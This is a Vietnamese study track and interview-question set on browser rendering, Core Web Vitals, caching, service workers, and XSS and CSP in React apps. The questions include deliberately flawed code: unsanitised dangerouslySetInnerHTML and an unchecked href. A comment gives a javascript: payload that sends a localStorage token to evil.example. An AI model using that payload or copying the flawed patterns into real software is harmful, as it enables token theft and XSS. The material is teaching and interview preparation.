const ReportsPage = lazy(() => import('./pages/ReportsPage'));
<Suspense fallback={<PageSkeleton />}>
<ReportsPage />
</Suspense>
Browser, Web Performance & Frontend Security
draftedCritical rendering path, Core Web Vitals (LCP, INP, CLS), code splitting, HTTP caching, service worker, storage, XSS trong React, CSP, thay đổi third-party cookie.
0/48 rated · mastery 0%
Bài học
13 bài · ~140 phút đọc. Học theo thứ tự, rồi làm câu hỏi.- 01~12 phút· 3 câuverify
Critical rendering path: từ HTML tới pixel đầu tiên
DOM, CSSOM, render tree; vì sao CSS là render-blocking còn script thường là parser-blocking; preload scanner; async/defer/module đo thứ tự chạy thật trong Chrome; preload/prefetch/preconnect/dns-prefetch và fetchpriority.
- 02~10 phút· 3 câuverify
Rendering pipeline: style, layout, paint, composite
Frame 16,7 ms và event loop, reflow vs repaint vs composite-only, forced synchronous layout và layout thrashing (đo thật 207 ms → 2,6 ms), animation bằng transform (đo LayoutCount thật), layer và will-change, content-visibility.
- 03~12 phút· 4 câuverify
Core Web Vitals: đo gì, đo ở đâu, và biến nó thành quy trình
LCP, INP, CLS và ngưỡng ở p75; vì sao INP thay FID; lab (Lighthouse 13 chạy thật, simulated throttling) vs field (CrUX, RUM); web-vitals attribution gửi về backend; performance budget, CI gate và ownership cho một frontend lớn.
- 04~11 phút· 4 câuverify
LCP: bốn phần của thời gian tải nội dung chính
Chia LCP thành TTFB, resource load delay, load duration, render delay và sửa từng phần; đo thật lazy (748 ms) vs CSS background (1.244 ms) vs img thường (428 ms); tối ưu ảnh (AVIF/WebP, srcset/sizes, fetchpriority); tag manager, A/B test và anti-flicker snippet.
- 05~11 phút· 3 câuverify
CLS và web font: giữ layout đứng yên
Layout shift score = impact × distance, session window, shift sau input không tính; nguyên nhân (ảnh không kích thước, banner chèn muộn, font swap, nội dung sau hydration) và cách sửa, đo thật CLS 0,425 → 0; FOIT/FOUT, font-display, size-adjust, preload font với crossorigin, subset tiếng Việt.
- 06~11 phút· 3 câuverify
INP, long task và nghệ thuật nhường main thread
INP đo gì và ba phase input delay / processing / presentation (đo thật 368 ms → 8 ms, input delay 241 ms); long task 50 ms, TBT, Long Animation Frames; yield bằng setTimeout vs scheduler.yield (đo thứ tự thật và clamp 4 ms); khi nào chuyển sang Web Worker.
- 07~10 phút· 4 câuverify
React runtime performance: re-render, memoization, list lớn và memory leak
Render vs commit, khi nào React.memo/useMemo/useCallback có ích (đếm render thật: 6 vs 1), move state down và children, useDeferredValue/startTransition, virtualization (đo 10.000 row = 878 ms ở CPU 4x), React Compiler, và tìm memory leak bằng heap (đo thật 50 instance, 40 MB).
- 08~11 phút· 6 câuverify
Code splitting, bundle size và chọn chiến lược rendering
Chi phí thật của JS (tải, parse, compile, execute), dynamic import và chunk hash (esbuild chạy thật: 98 KB → 415 B + 97 KB lazy), React.lazy + Suspense + Error Boundary, tái hiện ChunkLoadError sau deploy trong Chrome, tìm vì sao bundle to và tree shaking, CSR/SSR/SSG/ISR/streaming nhìn từ góc performance.
- 09~11 phút· 6 câuverify
HTTP caching và back/forward cache
Freshness vs validation, Cache-Control (no-cache, no-store, private, max-age=0, s-maxage, immutable), ETag/304 chạy thật bằng curl, stale-while-revalidate, bộ header cho SPA và deploy an toàn, bfcache: đo thật trong Chrome 154 cái gì chặn (unload, no-store + đổi cookie HttpOnly) và xử lý pageshow cho app ngân hàng.
- 10~10 phút· 3 câuverify
Service worker và PWA: proxy mạng trong trình duyệt
Service worker là gì, scope và secure context; lifecycle install → waiting → activate đo thật trong Chrome (reload không kích hoạt bản mới); cache-first, network-first, stale-while-revalidate; update flow an toàn với toast + SKIP_WAITING; kill switch; manifest và installability hiện nay.
- 11~12 phút· 5 câuverify
Client storage, cookie và thế giới hậu third-party cookie
Cookie attributes (HttpOnly, Secure, SameSite, Domain/Path, __Host-, Partitioned) chạy thật trong Chrome; localStorage/sessionStorage/IndexedDB/Cache API và quota (đo QuotaExceededError thật); lưu access token ở đâu và BFF; tình trạng third-party cookie 2024–2025, CHIPS, storage partitioning, SSO không dựa vào iframe.
- 12~9 phút· 4 câuverify
XSS trong ứng dụng React
Stored, reflected và DOM-based XSS; source và sink; React escape gì (chạy thật renderToString) và không bảo vệ gì; dangerouslySetInnerHTML + DOMPurify (output thật, kể cả lỗi sanitize-then-mutate); javascript: URL bị React 19 chặn nhưng data: thì không; inject JSON vào script khi SSR.
- 13~11 phút· 4 câuverify
CSP, Trusted Types và security baseline cho SPA
CSP chặn gì và vì sao allowlist domain yếu; strict CSP với nonce/hash + strict-dynamic (chạy thật trong Chrome: script không nonce, onclick, onerror, string eval đều bị chặn, script con được phép); Trusted Types (chạy thật); rollout Report-Only cho app lớn; nonce trong Next.js 16 và CDN; bộ security header và baseline cho banking SPA.
Tóm tắt & cheat sheet của track
TL;DR
- Trình duyệt biến HTML/CSS/JS thành pixel qua critical rendering path: DOM + CSSOM → render tree → layout → paint → composite. CSS render-blocking,
<script>thường parser-blocking →defer/async/type="module". - Core Web Vitals (đo ở p75 dữ liệu thực tế của user): LCP ≤ 2.5s (tải), INP ≤ 200ms (phản hồi — thay FID từ 2024-03-12), CLS ≤ 0.1 (ổn định layout).
- Perf thực chiến = gửi ít JS hơn (code splitting, tree shaking), cache đúng (hashed asset
immutable, HTML revalidate), ưu tiên tài nguyên quan trọng (preload/fetchpriority), không chặn main thread (long task > 50ms). - Frontend security: React escape mặc định nhưng có lối thoát (
dangerouslySetInnerHTML, URLjavascript:, inject vào<script>khi SSR); CSP nonce/hash + Trusted Types là lớp thứ hai; token không để tronglocalStoragenếu có thể dùng cookieHttpOnly. - Third-party cookies: Safari/Firefox chặn mặc định; Chrome giữ third-party cookie (bỏ kế hoạch deprecate, Privacy Sandbox APIs bị retire 2025) — nhưng vẫn thiết kế như thể không có (CHIPS, storage partitioning).
Khái niệm cốt lõi
| Khái niệm | Một câu | Ví dụ ngắn |
|---|---|---|
| Critical rendering path | Chuỗi bước từ byte → pixel | CSS lớn trong <head> làm trễ first paint |
| Render-blocking | Tài nguyên phải xong trước khi render | <link rel="stylesheet"> |
defer / async | defer: tải song song, chạy sau parse theo thứ tự; async: chạy ngay khi tải xong | analytics → async; app bundle → defer |
| LCP | Thời điểm phần tử nội dung lớn nhất trong viewport render xong | Ảnh hero sản phẩm |
| INP | Độ trễ tương tác (input → next paint) gần như tệ nhất trong phiên | Click "Add to cart" mất 450ms mới đổi UI |
| CLS | Tổng dịch chuyển layout bất ngờ (session window lớn nhất) | Banner cookie đẩy nội dung xuống |
| Long task | Task > 50ms trên main thread | JSON.parse 5MB, render list 10k row |
| Code splitting | Tách bundle, tải theo route/tính năng | React.lazy(() => import('./Reports')) |
| Cache-Control | Chỉ thị cache cho browser/CDN | public, max-age=31536000, immutable |
| ETag / 304 | Validator để revalidate rẻ | If-None-Match: "abc" → 304 Not Modified |
| stale-while-revalidate | Trả bản cũ ngay, revalidate nền | max-age=60, stale-while-revalidate=600 |
| Service worker | Proxy mạng chạy nền theo origin/scope | Offline, cache chiến lược, push |
| CSP | Header giới hạn nguồn script/style/... | script-src 'nonce-r4nd' 'strict-dynamic' |
| CHIPS | Cookie Partitioned theo top-level site | Widget chat nhúng |
Cơ chế hoạt động
Critical rendering path
Quyết định HTTP cache của browser
Service worker lifecycle
Trade-offs
| Chủ đề | Lựa chọn | Ưu | Nhược |
|---|---|---|---|
| Rendering | CSR SPA | Tương tác mượt sau khi tải, server đơn giản | LCP chậm, JS nhiều, SEO kém |
| SSR / streaming (Next.js) | LCP nhanh, SEO | Hydration cost ảnh hưởng INP, server phức tạp | |
| Code splitting | Theo route | Đơn giản, hiệu quả lớn | Chuyển route có độ trễ → prefetch |
| Theo component | Chi tiết | Quá nhiều chunk nhỏ, waterfall | |
| Lưu token | Cookie HttpOnly; Secure; SameSite | JS (XSS) không đọc được | Cần chống CSRF, cấu hình CORS/domain |
localStorage | Dễ | Bất kỳ XSS nào cũng đánh cắp được | |
| Cache HTML | no-cache + ETag | Luôn mới, 304 rẻ | Một round-trip mỗi lần |
max-age dài | Nhanh | User kẹt ở version cũ, chunk 404 | |
| SW strategy | Cache-first | Nhanh, offline | Stale nếu không version |
| Network-first | Mới | Chậm khi mạng yếu |
Pitfalls
loading="lazy"cho ảnh LCP; ảnh hero chèn bằng JS/CSS background → browser phát hiện muộn.- Cache
index.htmllâu → sau deploy, HTML cũ trỏ chunk đã bị xoá →ChunkLoadError. - Ảnh/iframe/ads không có kích thước → CLS; font swap đổi metric → CLS.
- Handler nặng đồng bộ trong
onChange/onClick→ INP tệ;useMemokhắp nơi không thay được việc bớt công việc. dangerouslySetInnerHTMLvới nội dung từ CMS/user không sanitize;href={userUrl}không kiểm scheme.- CSP có
'unsafe-inline'+'unsafe-eval'= gần như vô dụng chống XSS. - Service worker cache-first cho HTML không có cơ chế update → user kẹt version cũ "mãi mãi".
- Đo perf chỉ bằng Lighthouse trên laptop mạnh (lab) thay vì RUM p75 trên thiết bị thật.
Cheat sheet
- Ngưỡng "good" (p75): LCP ≤ 2.5s · INP ≤ 200ms · CLS ≤ 0.1. "Poor": LCP > 4s · INP > 500ms · CLS > 0.25.
- LCP: SSR/HTML có sẵn ảnh,
<img fetchpriority="high">, preload, CDN, nén ảnh (AVIF/WebP), không lazy-load. - INP: chia nhỏ long task (
awaityield,scheduler.yield()nơi hỗ trợ),startTransition, virtualize list, bớt hydration, debounce. - CLS:
width/heighthoặcaspect-ratio, reserve chỗ cho ads/banner,font-display+ fallback metric, animation bằngtransform. - Cache: hashed assets
max-age=31536000, immutable; HTMLno-cache(+ ETag); API tuỳ dữ liệu; dữ liệu nhạy cảmno-storehoặcprivate. - Script: app
defer/module, third-partyasynchoặc tải sau tương tác;preconnecttới origin quan trọng. - Security headers: CSP (nonce +
strict-dynamic,object-src 'none',base-uri 'none',frame-ancestors),Strict-Transport-Security,X-Content-Type-Options: nosniff,Referrer-Policy.
References
- web.dev — Web Vitals ↗
- web.dev — Largest Contentful Paint (LCP) ↗
- web.dev — Interaction to Next Paint (INP) ↗
- web.dev — Cumulative Layout Shift (CLS) ↗
- web.dev — Optimize long tasks ↗
- MDN — Critical rendering path ↗
- MDN — HTTP caching ↗
- MDN — Cache-Control ↗
- MDN — Service Worker API ↗
- MDN — Content Security Policy ↗
- MDN — Storage quotas and eviction criteria ↗
- MDN — Cookies Having Independent Partitioned State (CHIPS) ↗
- react.dev — dangerouslySetInnerHTML (common components) ↗
- OWASP — Cross Site Scripting Prevention Cheat Sheet ↗
- RFC 9111 — HTTP Caching ↗
Personal notes (Notion)
Ghi chú cá nhân — có thể sai hoặc lỗi thời, dùng để tham khảo.
Interview Questions
Showing 48 / 48
window.addEventListener('scroll', () => {
document.querySelectorAll('.card').forEach((card) => {
const h = card.offsetHeight; // read layout
card.style.height = `${h + 1}px`; // write layout
});
});
const Transfers = lazy(() => import('./routes/Transfers'));
const prefetchTransfers = () => import('./routes/Transfers'); // gọi onMouseEnter
<ErrorBoundary fallback={<ChunkError onRetry={() => location.reload()} />}>
<Suspense fallback={<RouteSkeleton />}>
<Transfers />
</Suspense>
</ErrorBoundary>
Content-Security-Policy: script-src 'nonce-7f3kQ9' 'strict-dynamic' https: 'unsafe-inline';
object-src 'none'; base-uri 'none'; frame-ancestors 'none'; report-to csp
(https: và 'unsafe-inline' chỉ là fallback cho browser cũ; browser hỗ trợ nonce/strict-dynamic sẽ bỏ qua chúng.)
function ProductDescription({ html }: { html: string }) {
// html comes from merchant-editable rich text in the CMS
return <div className="prose" dangerouslySetInnerHTML={{ __html: html }} />;
}
function ProfileLink({ url }: { url: string }) {
return <a href={url} target="_blank">Visit website</a>;
}
// url = "javascript:fetch('https://evil.example/?t='+localStorage.token)"
location / {
try_files $uri /index.html;
add_header Cache-Control "public, max-age=86400";
}
# deploy script: rm -rf /var/www/app/* && cp -r dist/* /var/www/app/
function TransactionSearch({ transactions }: { transactions: Tx[] }) { // ~10,000 items
const [q, setQ] = useState('');
const filtered = transactions
.filter((t) => JSON.stringify(t).toLowerCase().includes(q.toLowerCase()))
.sort((a, b) => b.date.localeCompare(a.date));
return (
<>
<input value={q} onChange={(e) => setQ(e.target.value)} />
{filtered.map((t) => <TxRow key={t.id} tx={t} />)}
</>
);
}
<header>...</header>
<div id="promo-banner"></div> <!-- filled by JS after an API call -->
<img src="/p/991-hero.jpg" alt="Keyboard" class="hero"> <!-- no width/height -->
<h1 style="font-family: 'BrandFont'">Mechanical Keyboard</h1>
<div id="reviews"></div> <!-- rendered after hydration -->
async function processInChunks<T>(items: T[], fn: (t: T) => void) {
let deadline = performance.now() + 40;
for (const it of items) {
fn(it);
if (performance.now() > deadline) {
await ('scheduler' in globalThis && 'yield' in (globalThis as any).scheduler
? (globalThis as any).scheduler.yield()
: new Promise((r) => setTimeout(r, 0)));
deadline = performance.now() + 40;
}
}
}